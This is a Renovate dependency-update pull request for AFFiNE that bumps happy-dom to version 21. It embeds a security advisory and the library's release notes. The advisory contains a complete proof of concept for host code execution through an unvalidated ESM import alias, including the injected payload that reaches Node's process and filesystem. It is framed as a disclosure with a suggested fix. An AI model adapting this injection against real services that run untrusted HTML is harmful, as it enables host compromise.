This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^20.3.0` → `^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |  |  | | [happy-dom](https://redirect.github.com/capricorn86/happy-dom) | [`^20.0.0` → `^21.0.0`](https://renovatebot.com/diffs/npm/happy-dom/20.8.9/21.0.4) |  |  | --- ### Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution [CVE-2026-115895](https://nvd.nist.gov/vuln/detail/CVE-2026-115895) / [GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) <details> <summary>More information</summary> #### Details ##### Summary The ESM compiler in `happy-dom@20.14.5` does not validate imported local binding aliases before interpolating them into generated JavaScript. As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed. This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates `importName` in the local `export { ... }` handler, but the named import handler still places an unvalidated `alias` directly into code context. These issues were confirmed through the public `Window` and `<script type="module">` APIs using the published `happy-dom` npm package. The PoC reaches the Node.js host `process`, obtains `node:fs`, and creates a proof directory on the host filesystem. ##### Confirmed affected versions The PoC was directly tested against: - `happy-dom@17.0.0` - `happy-dom@20.0.0` - `happy-dom@20.1.0` - `happy-dom@20.14.5` The same PoC does not trigger on `happy-dom@16.8.1`. The ESM compiler was introduced by commit `7bc831df2`, first released in `v17.0.0`. The vulnerable interpolation remains present through `v20.14.5`, the latest release at the time of testing. Suggested affected range: ```text >= 17.0.0, <= 20.14.5 ``` No patched version is currently available. ##### Preconditions - JavaScript evaluation is enabled with `enableJavaScriptEvaluation: true`. - Attacker-controlled HTML or module source is processed by Happy DOM. - This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML. ##### Technical details In `packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts`, the named import handler splits an import specifier and extracts its alias: ```ts const nameParts = part.trim().split(/\s+as\s+/); const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, ''); const name = nameParts[0].replace(/["']/g, ''); if (alias && name) { properties.push({ name, alias }); } ``` Unlike the patched `export { ... }` handler, the value of `alias` is not validated as a JavaScript identifier. It is subsequently inserted directly into generated binding syntax: ```ts newCodeStart += `let {${properties .map((property) => property.alias ? `"${property.name}": ${property.alias}` : property.name ) .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`; ``` Consider the following source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` This is invalid ECMAScript module syntax. Node.js rejects it at the `=` token. Happy DOM instead transforms it into the equivalent of: ```js let { "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } = $happy_dom.imports.get('https://poc.local/dep.json'); ``` This generated JavaScript is valid. Because the imported JSON object does not contain a `missing` property, the default initializer executes. The `with { type: 'json' }` attribute is relevant because the compiler only generates its circular import resolver for ESM imports: ```ts if (!match[7] || match[7] === 'esm') { resolvableCircularImports.push({ url, properties }); } ``` Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid. Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs: ```js globalThis.constructor.constructor(`return process`)() .getBuiltinModule(`node:fs`) .mkdirSync( globalThis.constructor.constructor(`return process`)().cwd() + `/HAPPY_DOM_RCE_PROOF` ) ``` ##### Proof of concept The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named `HAPPY_DOM_RCE_PROOF`. ##### 1. Create `package.json` ```json { "name": "happy-dom-import-alias-rce-poc", "private": true, "type": "module", "dependencies": { "happy-dom": "20.14.5" } } ``` ##### 2. Create `dep.json` ```json {} ``` ##### 3. Create `payload.mjs` This file is used as a control to demonstrate that a native ECMAScript parser rejects the source: ```js import { missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337 } from './dep.json' with { type: 'json' }; ``` ##### 4. Create `poc.mjs` ```js import { Window } from 'happy-dom'; import { existsSync, rmSync } from 'node:fs'; import { resolve } from 'node:path'; const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF'); rmSync(proofDirectory, { recursive: true, force: true }); const window = new Window({ url: 'https://poc.local/', settings: { enableJavaScriptEvaluation: true, suppressCodeGenerationFromStringsWarning: true, fetch: { virtualServers: [ { url: 'https://poc.local/', directory: process.cwd() } ] } } }); const script = window.document.createElement('script'); script.type = 'module'; script.textContent = ` import { missing as injected = globalThis.constructor.constructor(\`return process\`)() .getBuiltinModule(\`node:fs\`) .mkdirSync( globalThis.constructor.constructor(\`return process\`)().cwd() + \`/HAPPY_DOM_RCE_PROOF\` ) } from './dep.json' with { type: 'json' }; `; window.document.body.appendChild(script); await window.happyDOM.waitUntilComplete(); if (!existsSync(proofDirectory)) { console.error('[-] Exploit failed: proof directory was not created.'); console.error( window.happyDOM.virtualConsolePrinter.readAsString() ); process.exitCode = 1; } else { console.log(`[+] Host filesystem reached: ${proofDirectory}`); } await window.happyDOM.close(); ``` ##### 5. Run the control test ```console npm install node --check payload.mjs ``` Expected result: ```text SyntaxError: Unexpected token '=' ``` This confirms that the source is not valid ESM. ##### 6. Run the Happy DOM PoC ```console node poc.mjs ``` Expected result: ```text [+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF ``` The existence of `HAPPY_DOM_RCE_PROOF` confirms that the expression injected through the import alias executed and reached the host filesystem. The PoC was also verified inside a `node:24-alpine` Docker container, where it created: ```text /poc/HAPPY_DOM_RCE_PROOF ``` ##### Impact An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript. This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected. The demonstrated payload reaches Node.js `process` and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process. ##### Relationship to CVE-2026-33943 CVE-2026-33943 covers expression injection through a local export declaration: ```js export { attacker_expression } ``` Its fix added identifier validation to the `importName` used by the `export { ... }` handler: ```ts if ( exportName && importName && VALID_VARIABLE_NAME_REGEXP.test(importName) ) { // ... } ``` This report uses a different parsing and code-generation path: ```js import { name as malicious_alias } from './module'; ``` The unvalidated value is the local import `alias`, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943. The issue remains reproducible in versions released after the CVE-2026-33943 fix, including `20.14.5`. ##### Suggested fix Validate the imported local binding before placing it into code context. The existing `VALID_VARIABLE_NAME_REGEXP` can be reused: ```diff - if (alias && name) { + if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) { ``` A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated. This change was tested locally. The focused `ECMAScriptModuleCompiler` test suite passes with 30 tests, and ESLint reports no errors. For additional hardening, generated property keys should use `JSON.stringify()` instead of manual quote interpolation. ##### Verification record - Testing date: 2026-09-17 - Duplicate check updated: 2026-09-20 - Platform: Windows 11 - Node.js: `24.14.1` - Latest tested package: `happy-dom@20.14.5` - Source tag: `v20.14.5` - Source commit: `0d4cdbe7442af49d16b49ddf1acf7cc9684ed318` - First confirmed affected version: `17.0.0` - Confirmed unaffected version: `16.8.1` - Docker environment: Node 24 Alpine - No matching public advisory, issue, pull request, commit, or release was found during the duplicate check. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/capricorn86/happy-dom/security/advisories/GHSA-834v-8h66-3h79) - [https://github.com/capricorn86/happy-dom/pull/2537](https://redirect.github.com/capricorn86/happy-dom/pull/2537) - [https://github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13](https://redirect.github.com/capricorn86/happy-dom/commit/fd163520b74d9fa146be91f7b4e4f46d6cccbe13) - [https://github.com/capricorn86/happy-dom/releases/tag/v21.0.4](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4) - [https://github.com/advisories/GHSA-834v-8h66-3h79](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-834v-8h66-3h79) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>capricorn86/happy-dom (happy-dom)</summary> ### [`v21.0.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.3...v21.0.4) ##### 👷♂️ Patch fixes - Fixed a code injection vulnerability in the ESM compiler - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - Fixed cross-origin isolation so opaque-origin `data:` iframes cannot access their parent or top window - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.2...v21.0.3) ##### 👷♂️ Patch fixes - Fixes security vulnerability where authorization header was forwarded when redirecting - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.1...v21.0.2) ##### 👷♂️ Patch fixes - Fixes SSRF security vulnerability by doing a target-origin bypass in the proxy server in [@​happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v21.0.0...v21.0.1) ##### 👷♂️ Patch fixes - Adds aliases `--css` and `--iframe` for enabling CSS and iframe loading to [@​happy-dom/server-renderer](https://redirect.github.com/capricorn86/happy-dom/wiki/Server-Renderer) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v21.0.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v21.0.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.6...v21.0.0) ##### 💣 Breaking Changes - Disables CSS and IFrame loading by default to prevent [server-side request forgery (SSRF)](https://en.wikipedia.org/wiki/Server-side_request_forgery) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - An attacker could embed `<iframe>` or `<link rel="stylesheet">` elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access. - The settings property `disableCSSFileLoading` has been deprecated - Added the new settings properties [enableCSSFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) and [enableIframePageLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IBrowserSettings#properties) - If you don't believe that you are at risk, you can keep the same behavior as in `<=v20.14.6` by sending in `{ enableCSSFileLoading: true, enableIframePageLoading: true }` as [broswer settings](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) (e.g. `new Window({ settings })`); ### [`v20.14.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.5...v20.14.6) ##### 👷♂️ Patch fixes - Fixes cookie scope forgery vulnerability - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v20.14.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.4...v20.14.5) ##### 👷♂️ Patch fixes - Preserve character references in comment data - By **[@​hampustagerud](https://redirect.github.com/hampustagerud)** in task [#​2409](https://redirect.github.com/capricorn86/happy-dom/issues/2409) ### [`v20.14.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.3...v20.14.4) ##### 👷♂️ Patch fixes - End comments at the first comment end tag when it overlaps a comment start tag - By **[@​hampustagerud](https://redirect.github.com/hampustagerud)** in task [#​2407](https://redirect.github.com/capricorn86/happy-dom/issues/2407) ### [`v20.14.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.2...v20.14.3) ##### 👷♂️ Patch fixes - Avoids cloning all properties in CSSPropertyManager.toString - By **[@​erictheswift](https://redirect.github.com/erictheswift)** in task [#​2363](https://redirect.github.com/capricorn86/happy-dom/issues/2363) ### [`v20.14.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.1...v20.14.2) ##### 👷♂️ Patch fixes - Fixes regression where not all CSS variables where resolved in `getComputedStyle()` - By **[@​klaesra](https://redirect.github.com/klaesra)** in task [#​2344](https://redirect.github.com/capricorn86/happy-dom/issues/2344) ### [`v20.14.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.14.0...v20.14.1) ##### 👷♂️ Patch fixes - Invalidate the computed style cache for the whole subtree - By **[@​matmannion](https://redirect.github.com/matmannion)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2366](https://redirect.github.com/capricorn86/happy-dom/issues/2366) ### [`v20.14.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.14.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.2...v20.14.0) ##### 🎨 Features - Improves computed style cache - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2357](https://redirect.github.com/capricorn86/happy-dom/issues/2357) ### [`v20.13.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.1...v20.13.2) ##### 👷♂️ Patch fixes - Fix problem with getComputedStyle with :host and :host-context selectors - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2349](https://redirect.github.com/capricorn86/happy-dom/issues/2349) ### [`v20.13.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.13.0...v20.13.1) ##### 👷♂️ Patch fixes - GetComputedStyle should return inherited value when it is set to inherit - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2347](https://redirect.github.com/capricorn86/happy-dom/issues/2347) ### [`v20.13.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.13.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.2...v20.13.0) ##### 🎨 Features - Adds support for :host psuedo query selector - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2345](https://redirect.github.com/capricorn86/happy-dom/issues/2345) ### [`v20.12.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.1...v20.12.2) ##### 👷♂️ Patch fixes - Custom elements should be upgraded when connected to DOM - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2342](https://redirect.github.com/capricorn86/happy-dom/issues/2342) ### [`v20.12.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.12.0...v20.12.1) ##### 🎨 Features - Adds support for kebab-case properties on `CSSStyleDeclaration` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) - Adds support for all Chromium CSS properties to `CSSStyleDeclaration` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) - Downloads a list from the Chromium project when compiling ##### 👷♂️ Patch fixes - Fixes issue with parsing CSS fallback variables - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2256](https://redirect.github.com/capricorn86/happy-dom/issues/2256) ### [`v20.12.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.12.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.15...v20.12.0) ##### 🎨 Features - Adds support for `Animation`, `AnimationTimeline`, `DocumentTimeline` and `KeyframeEffect` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** - Adds support for `Element.animate()` - By **[@​capricorn86](https://redirect.github.com/capricorn86)** ### [`v20.11.15`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.15) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.14...v20.11.15) ##### 👷♂️ Patch fixes - Fixes issue with upgrading custom element caused by previous release - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331) ### [`v20.11.14`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.14) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.13...v20.11.14) ##### 👷♂️ Patch fixes - Change prototype of element to the custom element when upgraded to keep the reference - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2331](https://redirect.github.com/capricorn86/happy-dom/issues/2331) - The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid ### [`v20.11.13`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.13) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.12...v20.11.13) ##### 👷♂️ Patch fixes - Copy event listeners when upgrading a custom element - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2329](https://redirect.github.com/capricorn86/happy-dom/issues/2329) ### [`v20.11.12`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.12) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.11...v20.11.12) ##### 👷♂️ Patch fixes - Add check for if the node is still a parent during disconnect - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2322](https://redirect.github.com/capricorn86/happy-dom/issues/2322) ### [`v20.11.11`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.11) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.10...v20.11.11) ##### 👷♂️ Patch fixes - Use proxy as parent node in Node.connectedToNode - By **[@​diegohaz](https://redirect.github.com/diegohaz)** in task [#​2253](https://redirect.github.com/capricorn86/happy-dom/issues/2253) ### [`v20.11.10`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.10) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.9...v20.11.10) ##### 👷♂️ Patch fixes - Return default validationMessage for built-in constraint violations - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2187](https://redirect.github.com/capricorn86/happy-dom/issues/2187) ### [`v20.11.9`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.9) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.8...v20.11.9) ##### 👷♂️ Patch fixes - Make sure that the element has been upgraded before invoking reaction callback in custom elements - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2317](https://redirect.github.com/capricorn86/happy-dom/issues/2317) ### [`v20.11.8`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.8) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.7...v20.11.8) ##### 👷♂️ Patch fixes - Values pushed or assigned to the `adoptedStyleSheet` array should be validated - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2315](https://redirect.github.com/capricorn86/happy-dom/issues/2315) ### [`v20.11.7`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.7) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.6...v20.11.7) ##### 👷♂️ Patch fixes - The properties `Document.adoptedStyleSheets` and `ShadowRoot.adoptedStyleSheets` should validate it's value - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2313](https://redirect.github.com/capricorn86/happy-dom/issues/2313) ### [`v20.11.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.5...v20.11.6) ##### 👷♂️ Patch fixes - Updates docs for the global-registrator package - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2300](https://redirect.github.com/capricorn86/happy-dom/issues/2300) ### [`v20.11.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.4...v20.11.5) ##### 👷♂️ Patch fixes - Allow explicit element types for querySelector (e.g. `querySelector<HTMLInputElement>(".my-input")`) - By **[@​cyphercodes](https://redirect.github.com/cyphercodes)** ### [`v20.11.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.3...v20.11.4) ##### 👷♂️ Patch fixes - Fixes the CORS check `fetch()` to match origins instead of host and protocol - By **[@​rexxars](https://redirect.github.com/rexxars)** in task [#​1490](https://redirect.github.com/capricorn86/happy-dom/issues/1490) ### [`v20.11.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.2...v20.11.3) ##### 👷♂️ Patch fixes - Make document.links return a live HTMLCollection - By **[@​bangseongbeom](https://redirect.github.com/bangseongbeom)** in task [#​2299](https://redirect.github.com/capricorn86/happy-dom/issues/2299) - Copy labels array to prevent mutation of cached querySelectorAll result - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2226](https://redirect.github.com/capricorn86/happy-dom/issues/2226) ### [`v20.11.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.1...v20.11.2) ##### 👷♂️ Patch fixes - MutationObserver callback being GC'd due to orphaned WeakRef - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2264](https://redirect.github.com/capricorn86/happy-dom/issues/2264) ### [`v20.11.1`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.11.0...v20.11.1) ##### 👷♂️ Patch fixes - Improve performance of query selectors by avoiding construction of DOMException when not needed - By **@​[@​cyfung1031](https://redirect.github.com/cyfung1031)** in task [#​2228](https://redirect.github.com/capricorn86/happy-dom/issues/2228) ### [`v20.11.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.11.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.6...v20.11.0) ##### 🎨 Features - Adds support for [CookieStore API](https://developer.mozilla.org/en-US/docs/Web/API/Cookie_Store_API) - By **[@​TrevorBurnham](https://redirect.github.com/TrevorBurnham)** in task [#​1864](https://redirect.github.com/capricorn86/happy-dom/issues/1864) - Adds support for [Element.checkVisibility()](https://developer.mozilla.org/en-US/docs/Web/API/Element/checkVisibility) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​1506](https://redirect.github.com/capricorn86/happy-dom/issues/1506) ### [`v20.10.6`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.6) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.5...v20.10.6) ##### 👷♂️ Patch fixes - Await NodeJS internal ReadableStream promise during teardown - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2217](https://redirect.github.com/capricorn86/happy-dom/issues/2217) ### [`v20.10.5`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.5) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.4...v20.10.5) ##### 👷♂️ Patch fixes - Adds cache to query selector parser - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2142](https://redirect.github.com/capricorn86/happy-dom/issues/2142) - The selector parser degraded in performance in v20.6.3 to solve more complex selectors - Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem ### [`v20.10.4`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.4) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.3...v20.10.4) ##### 👷♂️ Patch fixes - Coerce null qualifiedName to empty string in createDocument - By **[@​Firer](https://redirect.github.com/Firer)** in task [#​2206](https://redirect.github.com/capricorn86/happy-dom/issues/2206) ### [`v20.10.3`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.3) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.2...v20.10.3) ##### 👷♂️ Patch fixes - Fix "\~=" attribute selector matching hyphenated substrings in CSS selectors - By **[@​mixelburg](https://redirect.github.com/mixelburg)** in task [#​2194](https://redirect.github.com/capricorn86/happy-dom/issues/2194) ### [`v20.10.2`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.2) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.1...v20.10.2) ##### 👷♂️ Patch fixes - Updates external dependencies - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2163](https://redirect.github.com/capricorn86/happy-dom/issues/2163) ### [`v20.10.1`](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.10.0...v20.10.1) ### [`v20.10.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.10.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.9.0...v20.10.0) ##### 🎨 Features - Adds support for setting a canvas adapter for handling the canvas rendering using the browser setting [canvasAdapter](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) - By **[@​RAprogramm](https://redirect.github.com/RAprogramm)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds new package [@​happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter) - By **[@​RAprogramm](https://redirect.github.com/RAprogramm)** and **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - [@​happy-dom/node-canvas-adapter](https://redirect.github.com/capricorn86/happy-dom/tree/master/packages/%40happy-dom/node-canvas-adapter) is a pluggable canvas adapter for Happy DOM using [node-canvas](https://redirect.github.com/Automattic/node-canvas). - Adds support for loading image files when enabling the browser setting [enableImageFileLoading](https://redirect.github.com/capricorn86/happy-dom/wiki/IOptionalBrowserSettings) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for loading image data URLs - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [ImageData](https://developer.mozilla.org/en-US/docs/Web/API/ImageData) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [ImageBitmap](https://developer.mozilla.org/en-US/docs/Web/API/ImageBitmap) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) - Adds support for [Window.createImageBitmap()](https://developer.mozilla.org/en-US/docs/Web/API/Window/createImageBitmap) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​241](https://redirect.github.com/capricorn86/happy-dom/issues/241) ### [`v20.9.0`](https://redirect.github.com/capricorn86/happy-dom/releases/tag/v20.9.0) [Compare Source](https://redirect.github.com/capricorn86/happy-dom/compare/v20.8.9...v20.9.0) ##### 🎨 Features - Adds support for event listener properties on Window (e.g. `Window.onkeydown`) - By **[@​capricorn86](https://redirect.github.com/capricorn86)** in task [#​2131](https://redirect.github.com/capricorn86/happy-dom/issues/2131) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about these updates again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xODAuMCIsInVwZGF0ZWRJblZlciI6IjQ0LjE4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
AFFiNE.Pro
Write, Draw and Plan All at Once
A privacy-focused, local-first, open-source, and ready-to-use alternative for Notion & Miro.
One hyper-fused platform for wildly creative minds.
Getting started & staying tuned with us.
Star us, and you will receive all release notifications from GitHub without any delay!
What is AFFiNE
AFFiNE is an open-source, all-in-one workspace and an operating system for all the building blocks that assemble your knowledge base and much more -- wiki, knowledge management, presentation and digital assets. It's a better alternative to Notion and Miro.
Features
